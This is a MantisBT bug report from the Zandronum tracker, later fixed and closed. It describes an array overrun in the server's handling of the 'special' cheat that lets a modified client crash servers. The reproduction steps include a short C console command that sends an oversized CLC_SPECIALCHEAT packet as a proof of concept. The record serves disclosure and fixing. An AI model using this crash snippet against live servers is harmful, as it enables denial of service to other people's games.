MantisBT - Zandronum |
View Issue Details |
|
ID | Project | Category | View Status | Date Submitted | Last Update |
0002694 | Zandronum | [All Projects] Bug | public | 2016-04-02 22:11 | 2018-09-30 22:33 |
|
Reporter | Dusk | |
Assigned To | Dusk | |
Priority | normal | Severity | exploit | Reproducibility | always |
Status | closed | Resolution | fixed | |
Platform | | OS | | OS Version | |
Product Version | 3.0-beta | |
Target Version | 3.0 | Fixed in Version | | |
|
Summary | 0002694: Modified client can crash the server using the special cheat |
Description | The server reads in special args and stores them in an array of 5... but can read in more than 5 args. This can be exploited to crash the server. Since this is done in network reading code, sv_cheats does not have to be enabled. |
Steps To Reproduce |
#include "c_dispatch.h"
CCMD (crashserver)
{
NETWORK_WriteByte( &CLIENT_GetLocalBuffer( )->ByteStream, CLC_SPECIALCHEAT );
NETWORK_WriteByte( &CLIENT_GetLocalBuffer( )->ByteStream, 123 );
NETWORK_WriteByte( &CLIENT_GetLocalBuffer( )->ByteStream, 10 );
for ( unsigned int i = 0; i < 10; ++i )
NETWORK_WriteLong( &CLIENT_GetLocalBuffer( )->ByteStream, 123 );
}
|
Additional Information | |
Tags | No tags attached. |
Relationships | child of | 0002620 | closed | Dusk | the 'special' cheat does not work online |
|
Attached Files | 2694-fix.diff (621) 2016-04-02 22:41 /tracker/file_download.php?file_id=1778&type=bug |
|
Issue History |
Date Modified | Username | Field | Change |
2016-04-02 22:11 | Dusk | New Issue | |
2016-04-02 22:12 | Dusk | Summary | Client can crash the server using the special cheat => Modified client can crash the server using the special cheat |
2016-04-02 22:19 | Dusk | Relationship added | child of 0002620 |
2016-04-02 22:39 | Dusk | Note Added: 0014647 | |
2016-04-02 22:40 | Dusk | File Added: 2694-fix.diff | |
2016-04-02 22:41 | Dusk | File Deleted: 2694-fix.diff | |
2016-04-02 22:41 | Dusk | File Added: 2694-fix.diff | |
2016-04-02 22:41 | Dusk | Assigned To | => Dusk |
2016-04-02 22:41 | Dusk | Status | new => needs review |
2016-05-08 21:00 | Edward-san | Note Added: 0014843 | |
2016-05-08 21:00 | Edward-san | Status | needs review => needs testing |
2016-12-24 22:43 | Dusk | Target Version | => 3.0 |
2017-02-17 10:09 | Dusk | Status | needs testing => resolved |
2017-02-17 10:09 | Dusk | Resolution | open => fixed |
2017-02-17 10:09 | Dusk | View Status | private => public |
2018-09-30 22:33 | Blzut3 | Status | resolved => closed |